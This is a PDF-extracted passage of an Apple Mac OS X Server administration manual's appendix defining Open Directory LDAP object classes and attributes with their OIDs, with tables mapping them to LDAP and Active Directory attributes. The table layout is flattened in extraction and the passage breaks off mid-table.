Friday, August 22, 2003 3:12 PM Appendix A Mac OS X Directory Data 131 apple-mcxflags $ apple-mcxsettings $ apple-user-adminlimits $ apple-user-passwordpolicy $ userPassword $ apple-user-picture $ apple-keyword $ loginShell $ shadowLastChange $ shadowExpire $ authAuthority $ apple-preset-user-is-admin ) ) Authentication Authority Object Class objectclass ( 1.3.6.1.4.1.63.1000.1.1.2.16 NAME 'authAuthorityObject' SUP top AUXILIARY MAY ( authAuthority ) ) Server Assistant Configuration Object Class objectclass ( 1.3.6.1.4.1.63.1000.1.1.2.17 NAME 'apple-serverassistant-config' SUP top AUXILIARY MUST ( cn ) MAY ( apple-xmlplist ) ) Location Object Class objectclass ( 1.3.6.1.4.1.63.1000.1.1.2.18 NAME 'apple-location' SUP top AUXILIARY MUST ( cn ) MAY ( apple-dns-domain $ apple-dns-nameserver ) ) LL2352.Book Page 131 Friday, August 22, 2003 3:12 PM 132 Appendix A Mac OS X Directory Data Attributes in Open Directory LDAP Schema This section defines the Open Directory LDAP attributes that extend the standard LDAP schema. User Attributes apple-user-homeurl Used to store home directory information in the form of a URL and path. This maps to the kDS1AttrHomeDirectory attribute type in Directory Services. attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.1.6 NAME 'apple-user-homeurl' DESC 'home directory URL' EQUALITY caseExactIA5Match SUBSTR caseExactIA5SubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE ) apple-user-class Unused. attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.1.7 NAME 'apple-user-class' DESC 'user class' EQUALITY caseExactIA5Match SUBSTR caseExactIA5SubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE ) apple-user-homequota Used to specify the home directory quota in kilobytes. attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.1.8 NAME 'apple-user-homequota' DESC 'home directory quota' EQUALITY caseExactIA5Match SUBSTR caseExactIA5SubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE ) LL2352.Book Page 132 Friday, August 22, 2003 3:12 PM Appendix A Mac OS X Directory Data 133 apple-user-mailattribute Stores mail-related settings as XML. attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.1.9 NAME 'apple-user-mailattribute' DESC 'mail attribute' EQUALITY caseExactMatch SUBSTR caseExactSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 SINGLE-VALUE ) apple-mcxflags Used to store managed client information. This attribute can be found in user, group, computer, and computer list records. attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.1.10 NAME 'apple-mcxflags' DESC 'mcx flags' EQUALITY caseExactMatch SUBSTR caseExactSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 SINGLE-VALUE ) apple-mcxsettings Used to store managed client information. This attribute can be found in user, group, computer, and computer list records. #attributetype ( # 1.3.6.1.4.1.63.1000.1.1.1.1.11 # NAME 'apple-mcxsettings' # DESC 'mcx settings' # EQUALITY caseExactMatch # SUBSTR caseExactSubstringsMatch # SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 SINGLE-VALUE ) attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.1.16 NAME ( 'apple-mcxsettings' 'apple-mcxsettings2' ) DESC 'mcx settings' EQUALITY caseExactMatch SUBSTR caseExactSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 ) LL2352.Book Page 133 Friday, August 22, 2003 3:12 PM 134 Appendix A Mac OS X Directory Data apple-user-picture Stores a file system path to the picture to use for this user record when displayed in login window. This is used when the network user shows in the login window scrolling list (in managed networks). Users can modify their own pictures by default. attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.1.12 NAME 'apple-user-picture' DESC 'picture' EQUALITY caseExactMatch SUBSTR caseExactSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 SINGLE-VALUE ) apple-user-printattribute Stores print quota settings as an XML plist. attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.1.13 NAME 'apple-user-printattribute' DESC 'print attribute' EQUALITY caseExactMatch SUBSTR caseExactSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 SINGLE-VALUE ) apple-user-adminlimits This attribute is used by Workgroup Manager to store an XML plist describing the abilities of an administrator. These settings are respected and updated by Workgroup Manager but do not affect other parts of the system. attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.1.14 NAME 'apple-user-adminlimits' DESC 'admin limits' EQUALITY caseExactMatch SUBSTR caseExactSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 SINGLE-VALUE ) LL2352.Book Page 134 Friday, August 22, 2003 3:12 PM Appendix A Mac OS X Directory Data 135 apple-user-authenticationhint The apple-user-authenticationhint is used by login window to provide a hint if the user logs in incorrectly three times. By default each user can update their own authentication hint. attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.1.15 NAME 'apple-user-authenticationhint' DESC 'password hint' EQUALITY caseExactMatch SUBSTR caseExactSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 SINGLE-VALUE ) apple-user-homesoftquota attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.1.17 NAME 'apple-user-homesoftquota' DESC 'home directory soft quota' EQUALITY caseExactIA5Match SUBSTR caseExactIA5SubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE ) apple-user-passwordpolicy attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.1.18 NAME 'apple-user-passwordpolicy' DESC 'password policy options' EQUALITY caseExactMatch SUBSTR caseExactSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 SINGLE-VALUE ) apple-keyword attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.1.19 NAME ( 'apple-keyword' ) DESC 'keywords' EQUALITY caseExactMatch SUBSTR caseExactSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 ) LL2352.Book Page 135 Friday, August 22, 2003 3:12 PM 136 Appendix A Mac OS X Directory Data apple-generateduid attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.1.20 NAME ( 'apple-generateduid' ) DESC 'generated unique ID' EQUALITY caseExactMatch SUBSTR caseExactSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 SINGLE-VALUE ) apple-user-homeDirectory This is not used by the Open Directory Server, but provided as an example OID and attribute to use as an alternative to the homeDirectory attribute from RFC 2307. This is primarily of interest to Active Directory since it uses a different homeDirectory attribute than RFC 2307. # Alternative to using homeDirectory from RFC 2307. #attributetype ( # 1.3.6.1.4.1.63.1000.1.1.1.1.100 # NAME 'apple-user-homeDirectory' # DESC 'The absolute path to the home directory' # EQUALITY caseExactIA5Match # SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE ) Group Attributes apple-group-homeurl Specifies the home directory associated with a managed client workgroup. This is mounted on login of any of the users in this workgroup. attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.14.1 NAME 'apple-group-homeurl' DESC 'group home url' EQUALITY caseExactIA5Match SUBSTR caseExactIA5SubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE ) LL2352.Book Page 136 Friday, August 22, 2003 3:12 PM Appendix A Mac OS X Directory Data 137 apple-group-homeowner The apple-group-homeowner attribute determines the owner of the workgroup home directory when created in the file system. The group of the directory is the workgroup it is associated with. attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.14.2 NAME 'apple-group-homeowner' DESC 'group home owner settings' EQUALITY caseExactIA5Match SUBSTR caseExactIA5SubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE ) apple-group-realname Used to associate a longer, more user friendly name with groups. This name appears in Workgroup Manager and can contain non-ASCII characters. attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.14.5 NAME 'apple-group-realname' DESC 'group real name' EQUALITY caseExactMatch SUBSTR caseExactSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 SINGLE-VALUE ) apple-group-memberUid Not used by Open Directory Server, but defined as an example attribute and OID that could be added to another LDAP server to support Mac OS X clients. # Alternative to using memberUid from RFC 2307. #attributetype ( # 1.3.6.1.4.1.63.1000.1.1.1.14.1000 # NAME 'apple-group-memberUid' # DESC 'group member list' # EQUALITY caseExactIA5Match # SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 ) # can also use OID 1.3.6.1.4.1.63.1000.1.1.2.1000 LL2352.Book Page 137 Friday, August 22, 2003 3:12 PM 138 Appendix A Mac OS X Directory Data Machine Attributes apple-machine-software attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.3.8 NAME 'apple-machine-software' DESC 'installed system software' EQUALITY caseIgnoreIA5Match SUBSTR caseIgnoreIA5SubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 ) apple-machine-hardware attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.3.9 NAME 'apple-machine-hardware' DESC 'system hardware description' EQUALITY caseIgnoreIA5Match SUBSTR caseIgnoreIA5SubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 ) apple-machine-serves attributeType ( 1.3.6.1.4.1.63.1000.1.1.1.3.10 NAME 'apple-machine-serves' DESC 'NetInfo Domain Server Binding' EQUALITY caseExactIA5Match SUBSTR caseExactIA5SubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 ) apple-machine-suffix attributeType ( 1.3.6.1.4.1.63.1000.1.1.1.3.11 NAME 'apple-machine-suffix' DESC 'DIT suffix' EQUALITY caseIgnoreMatch SUBSTR caseIgnoreSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 ) LL2352.Book Page 138 Friday, August 22, 2003 3:12 PM Appendix A Mac OS X Directory Data 139 Mount attributes mountDirectory attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.8.1 NAME 'mountDirectory' DESC 'mount path' EQUALITY caseExactMatch SUBSTR caseExactSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 SINGLE-VALUE ) mountType attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.8.2 NAME 'mountType' DESC 'mount VFS type' EQUALITY caseIgnoreIA5Match SUBSTR caseIgnoreIA5SubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE ) mountOption attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.8.3 NAME 'mountOption' DESC 'mount options' EQUALITY caseIgnoreIA5Match SUBSTR caseIgnoreIA5SubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 ) mountDumpFrequency attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.8.4 NAME 'mountDumpFrequency' DESC 'mount dump frequency' EQUALITY caseIgnoreIA5Match SUBSTR caseIgnoreIA5SubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE ) LL2352.Book Page 139 Friday, August 22, 2003 3:12 PM 140 Appendix A Mac OS X Directory Data mountPassNo attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.8.5 NAME 'mountPassNo' DESC 'mount passno' EQUALITY caseIgnoreIA5Match SUBSTR caseIgnoreIA5SubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE ) Printer Attributes apple-printer-attributes attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.9.1 NAME 'apple-printer-attributes' DESC 'printer attributes in /etc/printcap format' EQUALITY caseIgnoreIA5Match SUBSTR caseIgnoreIA5SubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 ) apple-printer-lprhost attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.9.2 NAME 'apple-printer-lprhost' DESC 'printer LPR host name' EQUALITY caseIgnoreMatch SUBSTR caseIgnoreSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 ) apple-printer-lprqueue attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.9.3 NAME 'apple-printer-lprqueue' DESC 'printer LPR queue' EQUALITY caseIgnoreMatch SUBSTR caseIgnoreSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 ) LL2352.Book Page 140 Friday, August 22, 2003 3:12 PM Appendix A Mac OS X Directory Data 141 apple-printer-type attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.9.4 NAME 'apple-printer-type' DESC 'printer type' EQUALITY caseIgnoreMatch SUBSTR caseIgnoreSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 ) apple-printer-note attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.9.5 NAME 'apple-printer-note' DESC 'printer note' EQUALITY caseIgnoreMatch SUBSTR caseIgnoreSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 ) Computer Attributes apple-realname attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.10.2 NAME 'apple-realname' DESC 'real name' EQUALITY caseExactMatch SUBSTR caseExactSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 ) ComputerList Attributes apple-computers attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.11.3 NAME 'apple-computers' DESC 'computers' EQUALITY caseExactMatch SUBSTR caseExactSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 ) LL2352.Book Page 141 Friday, August 22, 2003 3:12 PM 142 Appendix A Mac OS X Directory Data apple-computer-list-groups attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.11.4 NAME 'apple-computer-list-groups' DESC 'groups' EQUALITY caseExactMatch SUBSTR caseExactSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 ) apple-xmlplist attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.17.1 NAME 'apple-xmlplist' DESC 'XML plist data' EQUALITY caseExactMatch SUBSTR caseExactSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 SINGLE-VALUE ) Configuration Attributes apple-password-server-location attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.12.1 NAME 'apple-password-server-location' DESC 'password server location' EQUALITY caseExactIA5Match SUBSTR caseExactIA5SubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE ) apple-data-stamp attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.12.2 NAME 'apple-data-stamp' DESC 'data stamp' EQUALITY caseExactIA5Match SUBSTR caseExactIA5SubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE ) LL2352.Book Page 142 Friday, August 22, 2003 3:12 PM Appendix A Mac OS X Directory Data 143 apple-config-realname attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.12.3 NAME 'apple-config-realname' DESC 'config real name' EQUALITY caseExactIA5Match SUBSTR caseExactIA5SubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE ) apple-password-server-list attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.12.4 NAME 'apple-password-server-list' DESC 'password server replication plist' EQUALITY caseExactMatch SUBSTR caseExactSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 SINGLE-VALUE ) apple-ldap-replica attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.12.5 NAME 'apple-ldap-replica' DESC 'LDAP replication list' EQUALITY caseExactMatch SUBSTR caseExactSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 ) apple-ldap-writable-replica attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.12.6 NAME 'apple-ldap-writable-replica' DESC 'LDAP writable replication list' EQUALITY caseExactMatch SUBSTR caseExactSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 ) LL2352.Book Page 143 Friday, August 22, 2003 3:12 PM 144 Appendix A Mac OS X Directory Data apple-kdc-authkey attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.12.7 NAME 'apple-kdc-authkey' DESC 'KDC master key RSA encrypted with realm public key' EQUALITY caseExactMatch SUBSTR caseExactSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 ) apple-kdc-configdata attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.12.8 NAME 'apple-kdc-configdata' DESC 'Contents of the kdc.conf file' EQUALITY caseExactMatch SUBSTR caseExactSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 SINGLE-VALUE ) PresetUser Attribute apple-preset-user-is-admin attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.15.1 NAME 'apple-preset-user-is-admin' DESC 'flag indicating whether the preset user is an administrator' EQUALITY caseExactIA5Match SUBSTR caseExactIA5SubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE ) Authentication Authority Attribute authAuthority #attributetype ( # 1.3.6.1.4.1.63.1000.1.1.2.16.1 # NAME 'authAuthority' # DESC 'password server authentication authority' # EQUALITY caseExactIA5Match # SUBSTR caseExactIA5SubstringsMatch # SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 ) LL2352.Book Page 144 Friday, August 22, 2003 3:12 PM Appendix A Mac OS X Directory Data 145 Location Attributes apple-dns-domain attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.18.1 NAME 'apple-dns-domain' DESC 'DNS domain' EQUALITY caseExactMatch SUBSTR caseExactSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 ) apple-dns-nameserver attributetype ( 1.3.6.1.4.1.63.1000.1.1.1.18.2 NAME 'apple-dns-nameserver' DESC 'DNS name server list' EQUALITY caseExactMatch SUBSTR caseExactSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 ) Mapping Standard Attributes to LDAP and Active Directory The tables in this section specify how the LDAPv3 plug-in in Directory Access maps the Open Directory record types and attributes to LDAP object classes and attributes. The tables also specify how the Active Directory plug-in in Directory Access maps and generates Active Directory object categories and attributes from Open Directory record types and attributes. Mappings for Users The following tables specify the LDAPv3 plug-in in Directory Access maps the Open Directory Users record type and attributes to LDAP object classes and attributes. The tables also specify how the Active Directory plug-in in Directory Access maps and generates Active Directory object categories and attributes from Open Directory record types and attributes. LL2352.Book Page 145 Friday, August 22, 2003 3:12 PM 146 Appendix A Mac OS X Directory Data Record Type Mappings for Users Attribute Mappings for Users Open Directory name, RFC/class LDAP object class name OID Active Directory plug-in Users, RFC 2798 inetOrgPerson 2.16.840.1.113730.3.2.2 ObjectCategory = Person Users, RFC 2307 posixAccount 1.3.6.1.1.1.2.0 Users, RFC 2307 shadowAccount 1.3.6.1.1.1.2.1 Users, Apple registered apple-user 1.3.6.1.4.1.63.1000.1.1.2.1 Apple extended schema Open Directory name, RFC/class, special purpose LDAP attribute name OID Active Directory plug-in HomeDirectory, Apple registered apple-user-homeurl 1.3.6.1.4.1.63.1000.1.1.1.1.6 Generated from homeDirectory HomeDirectoryQuota, Apple registered apple-user-homequota 1.3.6.1.4.1.63.1000.1.1.1.1.8 Apple extended schema HomeDirectorySoftQuota, Apple registered apple-user-homesoftquota 1.3.6.1.4.1.63.1000.1.1.1.1.17 Apple extended schema MailAttribute, Apple registered apple-user-mailattribute 1.3.6.1.4.1.63.1000.1.1.1.1.9 Apple extended schema PrintServiceUserData, Apple registered apple-user-printattribute 1.3.6.1.4.1.63.1000.1.1.1.1.13 Apple extended schema MCXFlags, Apple registered apple-mcxflags 1.3.6.1.4.1.63.1000.1.1.1.1.10 Apple extended schema MCXSettings, Apple registered apple-mcxsettings 1.3.6.1.4.1.63.1000.1.1.1.1.16 Apple extended schema AdminLimits, Apple registered apple-user-adminlimits 1.3.6.1.4.1.63.1000.1.1.1.1.14 Apple extended schema AuthenticationAuthority, Apple registered authAuthority 1.3.6.1.4.1.63.1000.1.1.2.16.1 Generated as a Kerberos authority AuthenticationHint, Apple registered apple-user-authenticationhint 1.3.6.1.4.1.63.1000.1.1.1.1.15 Apple extended schema PasswordPolicyOptions, Apple registered apple-user-passwordpolicy 1.3.6.1.4.1.63.1000.1.1.1.1.18 Apple extended schema Keywords, Apple registered apple-keyword 1.3.6.1.4.1.63.1000.1.1.1.1.19 Apple extended schema Picture, Apple registered apple-user-picture 1.3.6.1.4.1.63.1000.1.1.1.1.12 Apple extended schema LL2352.Book Page 146 Friday, August 22, 2003 3:12 PM Appendix A Mac OS X Directory Data 147 GeneratedUID, Apple registered apple-generateduid 1.3.6.1.4.1.63.1000.1.1.1.1.20 From GUID—formatted RecordName, RFC 2256 cn 2.5.4.3 Generated from cn, userPrincipal, mail, sAMAccoutName RecordName, RFC 1274 uid 0.9.2342.19200300.100.1.1 N/A EMailAddress, RFC 1274 mail 0.9.2342.19200300.100.1.3 RFC standard RealName, RFC 2256 cn 2.5.4.3 1.2.840.113556.1.2.13 (Microsoft) Password, RFC 2256 userPassword 2.5.4.35 No mapping Comment, RFC 2256 description 2.5.4.13 RFC standard LastName, RFC 2256 sn 2.5.4.4 RFC standard FirstName, RFC 2256 givenName 2.5.4.42 RFC standard PhoneNumber, RFC 2256 telephoneNumber 2.5.4.20 RFC standard AddressLIne1, RFC 2256 street 2.5.4.9 RFC standard PostalAddress, RFC 2256 postalAddress 2.5.4.16 RFC standard PostalCode, RFC 2256 postalCode 2.5.4.17 RFC standard OrganizationName, RFC 2256 o 2.5.4.10 1.2.840.113556.1.2.146 (Microsoft) UserShell, RFC 2307 loginShell 1.3.6.1.1.1.1.4 Extended using RFC Change, RFC 2307 shadowLastChange 1.3.6.1.1.1.1.5 No mapping Expire, RFC 2307 shadowExpire 1.3.6.1.1.1.1.10 No mapping UniqueID, RFC 2307 uidNumber 1.3.6.1.1.1.1.0 Generated from GUID NFSHomeDirectory, RFC 2307 homeDirectory 1.3.6.1.1.1.1.3 Generated from homeDirectory PrimaryGroupID, RFC 2307 gidNumber 1.3.6.1.1.1.1.1 Extended using RFC or generated from GUID Open Directory name, RFC/class, special purpose LDAP attribute name OID Active Directory plug-in LL2352.Book Page 147 Friday, August 22, 2003 3:12 PM 148 Appendix A Mac OS X Directory Data SMBAccountFlags, Samba registered, Apple PDC acctFlags 1.3.6.1.4.1.7165.2.1.4 1.2.840.113556.1.4.302 (Microsoft) SMBPasswordLastSet, Samba registered, Apple PDC pwdLastSet 1.3.6.1.4.1.7165.2.1.3 1.2.840.113556.1.4.96 (Microsoft) SMBLogonTime, Samba registered, Apple PDC logonTime 1.3.6.1.4.1.7165.2.1.5 1.2.840.113556.1.4.52 (Microsoft) SMBLogoffTime, Samba registered, Apple PDC logoffTime 1.3.6.1.4.1.7165.2.1.6 1.2.840.113556.1.4.51 (Microsoft) SMBKickoffTime, Samba registered, Apple PDC kickoffTime 1.3.6.1.4.1.7165.2.1.7 No mapping SMBHomeDrive, Samba registered, Apple PDC homeDrive 1.3.6.1.4.1.7165.2.1.10 1.2.840.113556.1.4.45 (Microsoft) SMBScriptPath, Samba registered, Apple PDC scriptPath 1.3.6.1.4.1.7165.2.1.11 1.2.840.113556.1.4.62 (Microsoft) SMBProfilePath, Samba registered, Apple PDC profilePath 1.3.6.1.4.1.7165.2.1.12 1.2.840.113556.1.4.139 (Microsoft) SMBUserWorkstations, Samba registered, Apple PDC userWorkstations 1.3.6.1.4.1.7165.2.1.13 1.2.840.113556.1.4.86 (Microsoft) SMBHome, Samba registered, Apple PDC smbHome 1.3.6.1.4.1.7165.2.1.17 1.2.840.113556.1.4.44 (Microsoft) SMBRID, Samba registered, Apple PDC rid 1.3.6.1.4.1.7165.2.1.14 1.2.840.113556.1.4.153 (Microsoft) SMBGroupRID, Samba registered, Apple PDC primaryGroupID 1.3.6.1.4.1.7165.2.1.15 1.2.840.113556.1.4.98 (Microsoft) FaxNumber, RFC 2256 fax 2.5.4.23 RFC standard MobileNumber, RFC 1274 mobile 0.9.2342.19200300.100.1.41 RFC standard PagerNumber, RFC 1274 pager 0.9.2342.19200300.100.1.42 RFC standard Open Directory name, RFC/class, special purpose LDAP attribute name OID Active Directory plug-in LL2352.Book Page 148 Friday, August 22, 2003 3:12 PM Appendix A Mac OS X Directory Data 149 Mappings for Groups The following tables specify how the LDAPv3 plug-in in Directory Access maps the Open Directory Groups record type and attributes to LDAP object classes. The tables also specify how the Active Directory plug-in in Directory Access maps and generates Active Directory object categories and attributes from Open Directory record types and attributes. Record Type Mappings for Groups Department, RFC 2798, departmentNumber 2.16.840.1.113730.3.1.2 1.2.840.113556.1.2.141 (Microsoft) NickName, Microsoft Attribute 1.2.840.113556.1.2.447 (Microsoft) JobTitle, RFC 2256 title 2.5.4.12 RFC standard Building, RFC 2256 buildingName 2.5.4.19 RFC standard Country, RFC 2256 c 2.5.4.6 RFC standard Street, RFC 2256 street 2.5.4.9 1.2.840.113556.1.2.256 (Microsoft) City, RFC 2256 locality 2.5.4.7 RFC standard State, RFC 2256 st 2.5.4.8 RFC standard Open Directory name, RFC/class, special purpose LDAP attribute name OID Active Directory plug-in Open Directory name, RFC/class LDAP object class name OID Active Directory plug-in Groups, RFC 2307 posixGroup 1.3.6.1.1.1.2.2 objectCategory = Group Groups, Apple registered apple-group 1.3.6.1.4.1.63.1000.1.1.2.14 Apple extended schema LL2352.Book Page 149 Friday, August 22, 2003 3:12 PM 150 Appendix A Mac OS X Directory Data Attribute Mappings for Groups Mappings for Mounts The following tables specify how the LDAPv3 plug-in in Directory Access maps the Open Directory Mounts record type and attributes to LDAP object classes and attributes. The tables also specify how the Active Directory plug-in in Directory Access maps and generates Active Directory object categories and attributes from Open Directory record types and attributes. Record Type Mappings for Mounts Open Directory name, RFC/class LDAP attribute name OID Active Directory plug-in RecordName, RFC 2256 cn 2.5.4.3 RFC standard HomeDirectory, Apple registered apple-group-homeurl 1.3.6.1.4.1.63.1000.1.1.1.14.1 Apple extended schema HomeLocOwner, Apple registered apple-group-homeowner 1.3.6.1.4.1.63.1000.1.1.1.14.2 Apple extended schema MCXFlags, Apple registered apple-mcxflags 1.3.6.1.4.1.63.1000.1.1.1.1.10 Apple extended schema MCXSettings, Apple registered apple-mcxsettings 1.3.6.1.4.1.63.1000.1.1.1.1.16 Apple extended schema RealName, Apple registered apple-group-realname 1.3.6.1.4.1.63.1000.1.1.1.14.5 1.2.840.113556.1.2.13 (Microsoft) Picture, Apple registered apple-user-picture 1.3.6.1.4.1.63.1000.1.1.1.1.12 Apple extended schema Keywords, Apple registered apple-keyword 1.3.6.1.4.1.63.1000.1.1.1.1.19 Apple extended schema GeneratedUID, Apple registered apple-generateduid 1.3.6.1.4.1.63.1000.1.1.1.1.20 From GUID—formatted GroupMembership, RFC 2307 memberUid 1.3.6.1.1.1.1.12 Generated from member Member, RFC 2307 memberUid 1.3.6.1.1.1.1.12 Same as GroupMembership PrimaryGroupID, RFC 2307 gidNumber 1.3.6.1.1.1.1.1 Extended using RFC or generated from GUID Open Directory name, RFC/class LDAP object class name OID Active Directory plug-in Mounts, Apple registered mount 1.3.6.1.4.1.63.1000.1.1.2.8 Apple extended schema LL2352.Book Page 150 Friday, August 22, 2003 3:12 PM Appendix A Mac OS X Directory Data 151 Attribute Mappings for Mounts Mappings for Computers The following tables specify how the LDAPv3 plug-in in Directory Access maps the Open Directory Computers record type and attributes to LDAP object classes. The tables also specify how the Active Directory plug-in in Directory Access maps and generates Active Directory object categories and attributes from Open Directory record types and attributes. Record Type Mappings for Computers Attribute Mappings for Computers Open Directory name, RFC/class LDAP attribute name OID Active Directory plug-in RecordName, RFC 2256 cn 2.5.4.3 RFC standard VFSLinkDir, Apple registered mountDirectory 1.3.6.1.4.1.63.1000.1.1.1.8.1 Apple extended schema VFSOpts, Apple registered mountOption 1.3.6.1.4.1.63.1000.1.1.1.8.3 Apple extended schema VFSType, Apple registered mountType 1.3.6.1.4.1.63.1000.1.1.1.8.2 Apple extended schema VFSDumpFreq, Apple registered mountDumpFrequency 1.3.6.1.4.1.63.1000.1.1.1.8.4 Apple extended schema VFSPassNo, Apple registered mountPassNo 1.3.6.1.4.1.63.1000.1.1.1.8.5 Apple extended schema Open Directory name, RFC/class LDAP object class name OID Active Directory plug-in Computers, Apple registered apple-computer 1.3.6.1.4.1.63.1000.1.1.2.10 objectCategory = Computer Open Directory name, RFC/class, special purpose LDAP attribute name OID Active Directory plug-in RecordName, RFC 2256 cn 2.5.4.3 RFC standard RealName, Apple registered apple-realname 1.3.6.1.4.1.63.1000.1.1.1.10.2 1.2.840.113556.1.2.13 (Microsoft) MCXFlags, Apple registered apple-mcxflags 1.3.6.1.4.1.63.1000.1.1.1.1.10 Apple extended schema MCXSettings, Apple registered apple-mcxsettings 1.3.6.1.4.1.63.1000.1.1.1.1.16 Apple extended schema Group, Apple registered apple-computer-list-groups 1.3.6.1.4.1.63.1000.1.1.1.11.4 Apple extended schema LL2352.Book Page 151 Friday, August 22, 2003 3:12 PM 152 Appendix A Mac OS X Directory Data AuthenticationAuthority, Apple registered authAuthority 1.3.6.1.4.1.63.1000.1.1.2.16.1 Apple extended schema GeneratedUID, Apple registered apple-generateduid 1.3.6.1.4.1.63.1000.1.1.1.1.20 From GUID—formatted XMLPlist, Apple registered apple-xmlplist 1.3.6.1.4.1.63.1000.1.1.1.17.1 Apple extended schema Comment, RFC 2256 description 2.5.4.13 RFC standard ENetAddress, RFC 2307 macAddress 1.3.6.1.1.1.1.22 Extended using RFC UniqueID, RFC 2307 uidNumber 1.3.6.1.1.1.1.0 Generated from GUID PrimaryGroupID, RFC 2307 gidNumber 1.3.6.1.1.1.1.1 Extended using RFC or generated SMBAccountFlags, Samba registered, Apple PDC acctFlags 1.3.6.1.4.1.7165.2.1.4 1.2.840.113556.1.4.302 (Microsoft) SMBPasswordLastSet, Samba registered, Apple PDC pwdLastSet 